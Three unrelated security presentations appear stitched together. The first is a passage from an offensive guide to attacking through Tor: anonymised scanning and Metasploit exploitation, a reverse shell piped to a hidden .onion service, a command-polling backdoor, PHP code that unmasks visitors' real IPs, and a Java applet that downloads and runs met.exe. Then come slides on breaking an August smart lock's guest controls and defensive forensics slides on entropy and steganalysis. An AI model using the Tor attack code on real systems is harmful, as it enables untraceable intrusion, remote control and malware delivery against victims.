duplicate names to the ones that  you pick.  If the exit node location is crucial, there are better ways to guarantee that the correct exit  nodes are chosen. The website https://torstatus.blutmagie.de/ gives a list of TOR nodes,  up times, country of origin, and most importantly fingerprints. When looking through the  list, it is important to remember that not all nodes listed are up at any given time, so many  should be chosen or tested. The fingerprint that is provided on this site needs to be  converted to a usable fingerprint for a torrc file. To do this, all spaces must be removed,  and a dollar sign added to the beginning. For example: Unnamed: 46D0 5072 0DE9 D59E 6C22 D970 453B E287 C03F CE9B →  $46D050720DE9D59E6C22D970453BE287C03FCE9B In the documentation for TOR there is a mention of simply defining an exit country. This  doesn't work in the current stable version TOR at the time of this paper. So be careful  when using this feature.  7.3 Making Any Service go Through TOR Page 16 of 26 TOR is a Socks5 proxy, and as such can tunnel any TCP connection with a bit of work.  There are a couple of different tools available for sending TCP connections over a socks5  proxy, and in some cases customized for TOR. Each one has its benefits and downfalls,  so familiarizing yourself all is often a good idea.  ProxyChains ProxyChains has the nice feature that it will give feedback, which makes it the most  useful for demos, and for testing. ProxyChains is not safe to use DNS through, so always  try and use IP addresses to prevent leakage of the DNS request.  Setting up ProxyChains is relatively easy. There is a file on most Linux distributions with  ProxyChains installed that is called /etc/proxychains.conf. The following should be  commented out: random_chain, chain_len, and any example proxies. Then un­comment  or add dynamic_chain, and at the bottom add a socks 5 proxy for TOR  “socks5 127.0.0.1 9050”.  Depending on the path and target, the tcp_read_time_out and tcp_connect_time_out  values will need to be tweaked. The bigger these are the more likely they will get the  right port, but they may run into other problems, like slow scans, or more false positive  scans. Tsocks Tsocks has no real feedback for the user, and will always answer for a port, regardless if  it is open on the other end. This makes nmap and other port scanning tools less useful,  but can be helpful with other types of programs. Tsocks will not protect DNS, so always  try and use IP addresses to prevent leakage of the DNS request Configuring tsocks is easier than proxychains. The file /etc/tsocks needs the following  three lines uncommented: server = 127.0.0.1 # tor host, usually local server_type = 5 # Socks4/5, usually 5 server_port = 9050 # tor port, default 9050 Torsocks Torsocks is the torsentric tsocks replacement. It has a couple of nice features including  DNS resolution allowing access to .onion sites, and attempts to detect UDP and blocking  them. It is configured straight out of the build for most tor installations. This like tsocks  will answer for most any port, resulting in mixed nmap results. For most other scans and  uses, this is a much nicer tool.  Page 17 of 26 Using Proxychains/Tsocks/torsocks All three of these are tools that are run in front of the command you want to go over  TOR. It is very valuable to try these tools in a test environment because they require a lot  of tweaking to be sure you aren’t leaking attributable information. nmap Nmap is a nice tool to use over TOR, but requires a lot of attention. In order to keep your  identity safe, be sure to use ­N and ­PN on the nmap command line. These will turn off  reverse name lookup and ping, both of which could leak your real identity.  Using ProxyChains output, it becomes easy to create a list of open ports on the remote  end to speed up the scans. Here is an example: user@laptop:~/tor_rc$ proxychains nmap ­n ­PN ­p 80,22,443 192.1.167.74 Starting Nmap 4.76 ( http://nmap.org ) at 2009­05­25 09:41 MDT ProxyChains­2.1 (http://proxychains.sf.net) dynamic chain:....127.0.0.1:9050....access denied to..192.1.167.74:443 dynamic chain:....127.0.0.1:9050....access denied to..192.1.167.74:443 … user@laptop:~/tor_rc$ proxychains nmap ­n ­A ­PN ­p 80,22 192.1.167.74 Starting Nmap 4.76 ( http://nmap.org ) at 2009­05­25 09:42 MDT ProxyChains­2.1 (http://proxychains.sf.net) dynamic chain:....127.0.0.1:9050....192.1.167.74:22..OK dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK dynamic chain:....127.0.0.1:9050....192.1.167.74:22..OK dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) 80/tcp open http Apache httpd Service Info: OS: Linux The access denied message is an easy way to tell that 443 is not supported, and instead of  waiting for the timeout of proxychains (which can be long), a new list is provided. The  Page 18 of 26 timeout of torsocks will make for a much faster scan, but will show all ports open. If the ­ A option on nmap is used, it becomes possible to take a good guess at what ports are  really open and which are not.  7.4 Running Nikto and Other Web Scanners Over TOR The easiest way to web scan a target anonymously is to simply run nikto over privoxy  using the PROXY* variables and use the ­u on the command line. The problem is that  privoxy will recognize a lot of the tests as dangerous, and the results will be unrealiable  and flagged as “unsafe”. The reality is that the tests are safe, as they are coming from a  nikto, and not firefox.  Torsocks or any of the other proxy tools will allow for nikto to do a full complete scan of  the remote system. Here is an example with proxychains, again used for the feedback  valuable in testing: user@laptop:~/$ proxychains nikto ­host blog.attackresearch.com 192.1.167.74 ­ Nikto v2.03/2.04 ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ ProxyChains­2.1 (http://proxychains.sf.net) dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK + Target IP: 192.1.167.74 + Target Hostname: blog.attackresearch.com + Target Port: 80 + Start Time: 2009­05­26 10:12:46 ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ + Server: Apache dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK ... ­ /robots.txt ­ contains 40 'disallow' entries which should be manually viewed.  (GET) dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK + OSVDB­0: Retrieved X­Powered­By header: PHP/5.2.4­2ubuntu5.4 dynamic chain:....127.0.0.1:9050....192.1.167.74:80..OK + OSVDB­0: ETag header found on server, inode: 131801, size: 1820, mtime:  0x462ed49df8840 ... Page 19 of 26 + 3577 items checked: 32 item(s) reported on remote host + End Time: 2009­05­26 15:07:00 (17654 seconds) ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ + 1 host(s) tested Test Options: ­host blog.attackresearch.com 192.1.167.74 ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ The ­host is not doing a dangerous lookup, it is just using this hostname in the HTTP  headers.  7.5 Using VPN over TOR It is possible to use the PPTP VPN client over TOR. It is slow, and will not work well,  but if you need it for a pen test it is possible. This requires a bit of creativity and multiple  machines. Machine A will have to and a port redirection software like tcpxd. Machine B  is the attack machine with the PPTP client. On machine A use tsocks to start the tcpxd  software with the ports and target machine. Since tsocks only attaches to outgoing ports,  machine B can PPTP into machine A, which will really redirect it over TOR to the target. 7.6 Metasploit and TOR The final important step is actually exploiting over TOR. This is actually much easier  than one would think. Metasploit has a built in global setting “Proxies” that will allow  Metasploit to work over the tor network. Other exploits will work with torsocks as listed  above. In Metasploit, set up an exploit as normal, but also issue the command: setg Proxies SOCKS4:localhost:9050 This will send all the exploit traffic over TOR. Remember that reverse shells will not  work over TOR, and will in fact reveille the attackers IP.  7.7 Making an Anonymous Reverse Shell Server Tor allows for hidden servers throughout the tor “.onion” domain. It is possible for a call  back shell to take advantage of this to hide the tracks of the server. The .onion domains  are only accessible through the tor software, so this will create some difficulties, but in  the end provides a powerful anonymous way to call back from a hacked system.  Setting up a .onion listener In order to set up a .onion, the following two lines need to be added to your torrc file: Page 20 of 26 HiddenServiceDir /my/service/dir/ HiddenServicePort <portfortor> 127.0.0.1:<listenport> The HiddenServiceDir will set up a directory that will contain the .onion host name and  private key, and the HiddenServicePort is telling tor where to forward traffic. A simple  test service could be: nc ­l ­p <listenport> Getting a Shell from the target This is all assuming that TOR and torsocks is on the target. This can be from the attacker  installing it, or that it is already there.  With netcat, remember that only torsocks will do the DNS lookup for nc. This is  important as the DNS really has to be done by the socks proxy in order to get the .onion  domain to work. The netcat command will look something like this on the target: torsocks nc ­e /bin/bash <hostname.onion> <torport> The hostname comes from the server's HiddenServiceDir. Now on the attacker’s  machine, assuming there is a netcat listener setup, there is a bash shell running through  TOR. Doing it without TOR There are some web services on the Internet that will let a user talk to a .onion domain  without TOR installed. One example is tor­proxy.net. By creating a custom backdoor that  talks to tor­proxy.net, it becomes possible to have a completely hidden reverse shell. It is  true that tor­proxy.net can read all the traffic, and will know who was attacked, but they  can't tell where the attacker is.  The custom backdoor that we have created to use tor­proxy.net makes periodic queries to  a .onion site under our control. These queries will receive new commands encoded in the  response. The output will be returned in the get strings. This makes for a non­interactive,  but anonymous backdoor. The traffic looks very similar to the following example going to Slashdot: http://tor­proxy.net/proxy/tor/browse.php?u=http%3A%2F%2Fslashdot.org %2F&b=14 Once combined with everything above, it is possible to have a stable constant anonymous  connection to any target.  Page 21 of 26 References http://www.metasploit.com http://www.reglos.de/myaddress/MyAddress.html http://blog.metasploit.com/2006/09/metasploit­30­automated­exploitation.html https://blackhat.com/presentations/bh­dc­09/ValSmith/BlackHat­DC­09­valsmith­colin­ Dissecting­Web­Attacks.pdf http://carnal0wnage.blogspot.com/2009/03/pdf­exploits­now­with­heapspray.html http://blog.didierstevens.com/ http://www.darkoperator.com/ http://ha.ckers.org/ http://www.hackersforcharity.org/ghdb/ http://scriptasylum.com/tutorials/encdec/encode­decode.html Acknowledgements Thanks to: #AR, HD Moore, dragorn, Delchi, Snowchyld, Ed Skoudis, Rezen, knicklighter,  famousjs, Uninformed, !lso, Dean De Beers, cg, Egypt, tebo,  Page 22 of 26 Appendix a.) See http://www.attackresearch.com for Adobe_basic_social_engineering.rb  b.) Browser sieve functions function genHeader() {         echo "<html>";         echo "<body>";         echo "<noscript>";         echo "<meta http­equiv=\"refresh\" content=\"0;url=$bounceurl\">";         echo "</noscript>"; } // end genHeader function ipCheck($target_ip) {         $scopeIPflag = 0;         if ((preg_match("/$firstRange/",$target_ip, $matches)) ||         (preg_match("/$sndRange/",$target_ip, $matches))) {                 $scopeIPflag = 1;         } // end if         else {                 $scopeIPflag = 0;         } // end else         return $scopeIPflag; } // end ipCheck function javaCheck() {         echo "<script language=javascript>";         echo 'if (navigator.javaEnabled()) { }';         echo 'else { document.write("No JAVA"); window.location = "http://blog.attackresearch.com"; }';         echo "</script>"; } // end javaCheck function osDetect($useragent) {         // Check for windows, and send to windows page         if (preg_match("/Windows/", $useragent,$winmatched)) {                 $ostype = "win";         } // end windows check         // Check for linux, and send to linux page         elseif (preg_match("/Linux/", $useragent,$linmatched)) {                 $ostype = "linux";         } // end linux check         // Check for mac, and send to mac page         elseif (preg_match("/Macintosh/", $useragent,$macmatched)) {                 $ostype = "mac";         } // end mac         else {                 $ostype = "unknown";         } // end else         return $ostype; } // end osDetect Page 23 of 26 function browserDetect($useragent) {         // Check for firefox         if (preg_match("/Firefox/", $useragent,$winmatched)) {                 $browsertype = "ff";         } // end ff check         // Check for IE         elseif (preg_match("/MSIE/", $useragent,$winmatched)) {                 $browsertype = "ie";         } // end ie check         // Check for safari         elseif (preg_match("/Safari/", $useragent,$winmatched)) {                 $browsertype = "safari";         } // end safari check // Check for opera         elseif (preg_match("/Opera/", $useragent,$winmatched)) {                 $browsertype = "opera";         } // end opera check         // Browser Unknown         else {                 $browsertype = "unknown";         } // end unknown check         return $browsertype; } // end browserDetect function jsDecloakIP() { echo '<script type="text/javascript">'; echo 'function natIP() {'; echo '  var w = window.location;'; echo '  var host = w.host;'; echo '  var port = w.port || 80;'; echo '  var Socket = (new java.net.Socket(host,port)).getLocalAddress().getHostAddress();'; echo '   return Socket;'; echo '}'; echo '</script>'; echo '<script language=javascript>'; echo 'realIP = natIP();'; echo 'document.location.href="sieve.php?dip="+realIP;'; echo '</script>'; } // end jsDecloakIP function japdip() { echo '<APPLET code="MyAddress.class" archive="MyAddress.gif" WIDTH=500 HEIGHT=14>'; echo '<PARAM NAME="URL" VALUE="sieve.php?japdip=">'; echo '<PARAM NAME="ACTION" VALUE="AUTO">'; echo '</APPLET>'; } // japdip Check out: http://www.reglos.de/myaddress/MyAddress.html for info about the class file. function logger($target_ip,$dip,$ost,$bt,$sipf,$hitdate) {         $nl = "\n";         $delim = "|"; Page 24 of 26         $data = $target_ip . $delim . $dip .     $delim . $ost . $delim .  $bt . $delim . $sipf . $delim . $hitdate . $nl;         $outFile = "clientlog.txt";         $fh = fopen($outFile, 'a') or die ("cant open logfile");         fwrite($fh,$data);         fclose($fh); } // end logger c.) Download and run Java Applet import java.applet.Applet; import java.io.*; import java.net.*; import java.io.IOException; public class WebDispApp extends Applet { public WebDispApp()  { } public void init() { downloadURL(); cmd(); } /* end public void init */ public void downloadURL() { OutputStream out = null; URLConnection conn = null; InputStream  in = null; try {      URL url = new URL("http://192.168.1.1/data/win/met.exe");      out = new BufferedOutputStream(      new FileOutputStream("c:\\met.exe"));      conn = url.openConnection();      in = conn.getInputStream();      byte[] buffer = new byte[1024];      int numRead;      long numWritten = 0;      while ((numRead = in.read(buffer)) != ­1) {             out.write(buffer, 0, numRead);             numWritten += numRead;      } /* end while */ } /* end try */ catch (Exception exception) {           exception.printStackTrace(); } /* end catch */ finally {           try {                     if (in != null) {                              in.close();                      } /* end if */                     if (out != null) {                             out.close();                     } /* end if */            } /* end try */            catch (IOException ioe) { } } /* end finally */ } /* end public void downloadURL */ public void cmd() { Page 25 of 26             Process process;             try  {                        process = Runtime.getRuntime().exec("cmd.exe /c c:\\met.exe");             } /* end try */            catch(IOException ioexception) { } } /* end public void cmd */ } /* end public class */ Page 26 of 26
pdf
Backdooring the Frontdoor Hacking a "perfectly secure" smart lock. About me ● Software Engineer by trade ● Hacker by passion ● Lock picker for fun ● The best puzzles are not meant to be solved ● Twitter: @jmaxxz August Smart Lock August's marketing team Source: august.com (August 17th, 2015) "Unlike physical keys which can be duplicated and distributed without your knowledge, an August lock..." Source: august.com (September 14th, 2015) "Safer than … codes that can be copied." <August's video claiming perfect security> Security claims ● Perfectly secure ● Guest access can be revoked at any time ● Guest permission can be limited to a schedule ● Guest can not ○ Use auto unlock ○ Invite or remove guests or owners ○ View activity feed ○ View Guest List ○ Change lock settings ● Keys can not be duplicated or distributed Mapping out the API WiFi | HTTPS BLE MitM proxy Certificate pinning …crap... Solution 1. Use iOS SSL Kill Switch (https://github.com/iSECPartners/ios-ssl-kill-switch) Disabling SSL/TLS system wide at Defcon? Better solution No Jailbreak Certificate Pinned!!! Security claims ● Perfectly secure ● Guest access can be revoked at any time ● Guest permission can be limited to a schedule ● Guest can not ○ Use auto unlock ○ Invite or remove guests or owners ○ View activity feed ○ View Guest List ○ Change lock settings ● Keys can not be duplicated or distributed After mapping out api Postman collection created (see github repo) Not anonymized Creepy Let's fix this MiTM can modify traffic Fix Don't forward log data to August, and tell app logs were received What else can we do? Guest to admin? User Types Guest = user Owner = superuser Replace "user" with "superuser" Guests can change lock settings! Guests can not use Auto-Unlock Guests can not control lock settings Security claims ● Perfectly secure ● Guest access can be revoked at any time ● Guest permission can be limited to a schedule ● Guest can not ○ Use auto unlock ○ Invite or remove guests or owners ○ View activity feed ○ View Guest List ○ Change lock settings ● Keys can not be duplicated or distributed Mapping out the BLE API WiFi | HTTPS BLE Enumerate BLE services Intercepting BLE Solution: Ubertooth Better solution Tap Replace Plaintext BLE traffic in log files! No Jailbreak SEC write/indicate 1. Communicates with TI chip 2. Establish session key 3. Manage lock's key store [add, delete] MCU write/indicate 1. Communicates with ST chip 2. Control lock 3. Manage lock settings 4. Firmware updates Lock security model ● BLE + Just Works pairing ● 256 offline key slots (0-255) ● AES-128-CBC (null IV) Key slot 0 is special "Safer than … codes that can be copied." "Unlike physical keys which can be duplicated and distributed without your knowledge, an August lock..." Requesting firmware as a guest This is weird 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 70F4F853E330BAEC27BF2724F39D1471 Firmware key 'can not' be changed Key material in logs Security claims ● Perfectly secure ● Guest access can be revoked at any time ● Guest permission can be limited to a schedule ● Guest can not ○ Use auto unlock ○ Invite or remove guests or owners ○ View activity feed ○ View Guest List ○ Change lock settings ● Keys can not be duplicated or distributed Security claims ● Perfectly secure ● Guest access can be revoked at any time ● Guest permission can be limited to a schedule ● Guest can not ○ Use auto unlock ○ Invite or remove guests or owners ○ View activity feed ○ View Guest List ○ Change lock settings ● Keys can not be duplicated or distributed Don't give guest access to someone you would not give a key to. Code on github ● SDK for August lock ● Postman Collection Demo 1. Unlock without a trace <demo> 2. Change Settings <demo> 3. Backdooring a lock <demo> Mistakes made ● Mobile app logs include key material ● Lock does not differentiate between guest and owner ● Firmware not signed ● No apparent way to discover backdoor keys ● Guest users can download key material ● Access entry log can be erased by guest users ● Confusing two factor with two step ● No rate limiting of password reset attempts (fixed) ● Mobile apps include bypass for certificate pinning ● SecureRandom not used for nonce or session key generation (fixed) ● Key material not stored on iOS keychain What was done correctly ● Mobile apps attempt to use certificate pinning ● Protocol makes use of nonces CBC ● August has been very responsive ● Not reliant solely on BLE's just works security model Hackers needed Consumers are not able to evaluate security claims made by companies ● We need more researchers investigating security claims made by companies on behalf of consumers. ● What can be asserted without evidence can be dismissed without evidence.
pdf
Fast Forensics Using Simple Statistics & Cool Tools WHAT’S ALL THE FFUSS ABOUT? Do You Hear What I Hear? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 2 Overview – What Can Us Defenders Do? • Malware Effects • What did the malware affect? • Where are all the bad files? • Did it modify the registry? Processes? Services? • File Type & Content Identification • Is this file really a jpeg? • Compressed or encrypted or packed? • Steganalysis • Reversing XOR Encryption • Others … ??? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 3 Overview – Attacker Tools • Executable Packers - Ultimate Packer for eXecutables (UPX) • Base32/64 Encoders • Compressors – 7Zip, Winzip, gzip • Encryptors - Axcrypt • Wrappers* • Disguise a file as a bitmap or wave • Steganography Tools • Steg LSB*, Steg Jpg*, many others 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 4 *Written by: John Ortiz Overview – Defender Tools • Hex Editors • XVI32 is one free one – there are many • Strings • Extract sequences of characters from a file • Footprint* • Snapshot of files, registry entries, processes, and services • Write Bitmap Histogram (WBH)* • Image and the statistics • Statistical Analyzer* • Autonomous identification 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 5 *Written by: John Ortiz TOOL: Wrappers • Wrappers is a small utility to put a bitmap or wave header on any arbitrary file • Essentially disguises a file – it has a valid header • You can see or hear any file • Wrappers.exe -f Solitaire.exe -t bmp -s g • Converts Solitaire.exe into the grayscale image you saw in the intro slide • We’ll use it for demos 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 6 TOOL: Steg LSB • Hides arbitrary data in Least Significant Bit(s) in bitmap images • User can choose number of bits (left: 3 bits/pixel, right: 5 bits/pixel) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 7 TOOL: Steg JPG • Hides arbitrary data in DCT coefficients of jpeg file • Right: original jpg, left: 22.45% randomized data embedded 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 8 MALWARE EFFECTS • Before identifying the type of a file, you need to find it • Malware can • modify/add/delete … • files/registry keys/services … • After an attack, can you be SURE these modifications are fixed? • Some malware may look legit and you install them yourself • Did the uninstall REALLY delete everything? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 9 TOOL: Footprint • Footprint takes a snapshot of the existing file system, registry, running processes, and services • It can also sort the file listing by size and/or date • After an attack (or install of an undesired program) take another snapshot • Footprint compares the two and highlights changes 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 10 Footprint – File Created • <4> - EXTRA FILE IN DIR2 --> \~Work\Forensics\__Media Files\jpg • FILE <Betrayal - Copy.jpg> SIZE:146745 bytes • CREATED:07/07/2013 06:52:37 MODIFIED:09/13/2003 13:49:04 • NOT FOUND in Dir1 \jpg 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 11 Footprint – File Deleted • <3> - EXTRA FILE IN DIR1 --> \~Work\Forensics\Files\IntroSlide • FILE <hist_Solitaire.exe_z_001.bmp> SIZE:275590 bytes • CREATED:07/06/2013 23:33:18 MODIFIED:07/06/2013 23:33:18 • NOT FOUND in Dir2 \IntroSlide 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 12 Footprint – File Modified • <5> FILE PROPERTY MISMATCH: \~Work\Forensics\Files • FILE <hist_TrueCrypt Setup 7.1a.exe.txt> • <6> - FILE SIZE CHANGE OF <18> BYTES • file1:11387 • file2:11405 • <D> - FILE MODIFY DATE DIFFERENT • file1:07/03/2013 23:19:05 • file2:07/07/2013 06:52:06 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 13 FILE TYPE CHARACTERISTICS • Malware often disguises itself to reduce chance of detection • Executable files may be named with different extensions, packed, and/or encrypted • Other files may contain hidden data • I’ve often seen a “.dat” or “.bin” file that is actually an executable • Double-clicking can result in execution, despite the file extension • Can we easily determine the true data type of a file? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 14 TOOL: Write Bitmap Histogram • This tool was inspired by Greg Conti’s presentation on visualizing network traffic • Has been extremely useful to me over the years • Before discussing the tool and some illustrative examples, a little MATH • Said in the same tone as “BLAH!” • Is required 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 15 Statistical Background – Entropy & Histograms • Entropy is a mathematical measure of the average uncertainty of a set of symbols • Most often we consider bytes, 0 – 255 as the set of symbols we care about • The MAX entropy is log2(#possible symbols) • For 256 symbols, the max entropy is 8.0000 • For base 32 encoded files (i.e 32 symbols), the maximum entropy is 5.0000 • Guess what the max entropy for base 64 encoded files is??? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 16 Statistical Background – Entropy & Histograms • Entropy is a mathematical measure of the average uncertainty of a set of symbols • Most often we consider bytes, 0 – 255 as the set of symbols we care about • The MAX entropy is log2(#possible symbols) • For 256 symbols, the max entropy is 8.0000 • For base 32 encoded files (i.e 32 symbols), the maximum entropy is 5.0000 • Guess what the max entropy for base 64 encoded files is??? • If you thought “6.0000” --- Very Good! Gold star for you! 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 17 Statistical Background – Entropy & Histograms • Pj = probability of occurrence of a symbol • Lg(X) = log2(X) { 2 to what power = X } • For byte-sized data, n = 256 • We can estimate the probability by counting (histogram) • If symbol appears 25 times in 100 byte file, p = 0.25 • Encrypted (random) files have the most uncertainty • A file with a single value has the least, H = 0 ( log 1 = 0 ) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 18 ∑ ∑ − = − = = = − = 1 0 1 0 lg 1 lg n j j j n j j j P P P P H Entropy Statistical Background – Entropy & Histograms • Bottom Line: Higher entropy, higher uncertainty • Compressed: H = 7.6+ • Encrypted: H = 7.99+ • Text: H = 4.5 +/- • The entropy measurement is only accurate with sufficient data • Can’t get entropy of 7.99+ for a 1-byte encrypted file • For fairly accurate measurement, need around 4K • There is research on this, but that’s for another day • Accuracy increases with increasing data size 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 19 Statistical Background – Entropy & Histograms • A Histogram is a count of the number of occurrences of each symbo • # ZERO’s in the file shown on the left edge, # 255’s on the right • At every 16th interval, line is darker • Extremely useful for analysis of a file’s contents • Can be used to identify the likely data content of a file • Many file types have unique histogram characteristics • Some exceptions • An image (or audio) of the file is useful too • Shows position of data file 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 20 Fast File Type Identification - Approach • File Extension • Not super accurate, but a good start • Magic Number, Header Validation • Wrappers kind of defeats this approach • Visualization • Audialization (Have you heard this word before?) • Statistics 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 21 What’s in a File? • We can use entropy, histograms, visualization, and audialization to quickly and effectively check: • Does the file match it’s extension? • Does it have unusual data? • Does it have hidden data? • Is there data tacked onto the end? • Is it compressed/encrypted? • Each slide will show an image of the file’s contents and a histogram, as well as the estimated entropy 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 22 Using the Write Bitmap Histogram Tool • Run it without any options and usage instructions are printed • wbh_5.57.exe Novels.txt –b • Creates a graphical and textual histogram of “Novels.txt” • The –b option creates the image of the file • The graphical histogram is scaled, showing relative frequency counts 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 23 Text File • H=4.48469 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 24 Text File – Textual Histogram • a, 097 [61],10631 ( 3.755%)---------+---- • b, 098 [62],4117 ( 1.454%)----- • c, 099 [63],4650 ( 1.642%)------ • d, 100 [64],3784 ( 1.336%)----- • e, 101 [65],16391 ( 5.789%)---------+---------+- • f, 102 [66],2185 ( 0.772%)-- • g, 103 [67],3102 ( 1.096%)---- • h, 104 [68],4049 ( 1.430%)----- • i, 105 [69],8865 ( 3.131%)---------+- • j, 106 [6A],211 ( 0.075%)- 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 25 HTML File • H=4.70042 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 26 24-Bit Full Color Bitmap • H=7.63054 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 27 8-Bit Grayscale Bitmap • H=6.14182 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 28 8-Bit Color Bitmap • H=6.68248 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 29 8-Bit Wave (Speech) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 30 8-Bit Wave (Music) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 31 16-Bit Wave (Speech) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 32 16-Bit Wave (Music) 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 33 Jpeg • H=7.98698 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 34 Portable Executable (PE) • H=6.58289 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 35 Encrypted with AES using AxCrypt • H=7.99968 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 36 FILE TYPE IDENTIFICATION • Knowing the characteristics of various file types is critical to identifying them • Now we’ll use the tools to 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 37 Compressed or Encrypted? • Looking at images of the file, it’s impossible to tell 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 38 Compressed or Encrypted? • A histogram makes it easy! 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 39 Packed or Not Packed? • WinZip32.exe 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 40 Packed or Not Packed? • WinZip32.exe – Histogram shows LARGE number of Zeros 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 41 Packed or Not Packed? • WinZip32.exe – Zoomed in on Histogram 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 42 Are You Hiding Something? • Sometimes histograms and entropy are less effective • Original Image 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 43 H= 7.61037 Are You Hiding Something? • Data appended to end of file - not easily noticed in statistics • Small aberration in histogram, no entropy indication 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 44 H= 7.63532 Are You Hiding Something? • Image of the file reveals appended data at end • Remember, bitmaps start from bottom up • Entropy of original image already fairly high • The larger the appended data, the more its entropy characteristics show 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 45 Using Steganography? • LSB Steganography hides data in the Least Significant Bit(s) of an image • Very difficult to see if number of bits < 4 • Often times difficult using 4 bits • At 5 bits, the hidden data begins to be very noticeable • Can we detect the alteration of the lower bits??? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 46 Using Steganography? • LSB Steganography hides data in the Least Significant Bit(s) of an image • Very difficult to see if number of bits < 4 • Often times difficult using 4 bits • At 5 bits, the hidden data begins to be very noticeable • Can we detect the alteration of the lower bits??? • Duh. Why ELSE would I bring it up? 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 47 Using Steganography? • Original, zero bits altered 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 48 H= 7.55730 Using Steganography? • 1 bit of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 49 H= 7.55782 Using Steganography? • 2 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 50 H= 7.55962 Using Steganography? • 3 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 51 H= 7.56456 Using Steganography? • 4 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 52 H= 7.57645 Using Steganography? • 5 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 53 H= 7.62805 Using Steganography? • 6 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 54 H= 7.71131 Using Steganography? • 7 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 55 H= 7.81565 Using Steganography? • 8 bits of randomized data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 56 H= 7.99986 Does This Work for Jpeg? • A jpeg is a compressed file, so any images of the file, histograms, or entropy will show the characteristics of compression • The technique works on the decompressed components 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 57 Does This Work for Jpeg? • Original image and its histogram 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 58 H= 7.930 Does This Work for Jpeg? • Stego Image: 146,256 bytes of hidden data out of 967,442 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 59 H= 7.978 How About Using an Image of the Jpeg? • None of these techniques work! 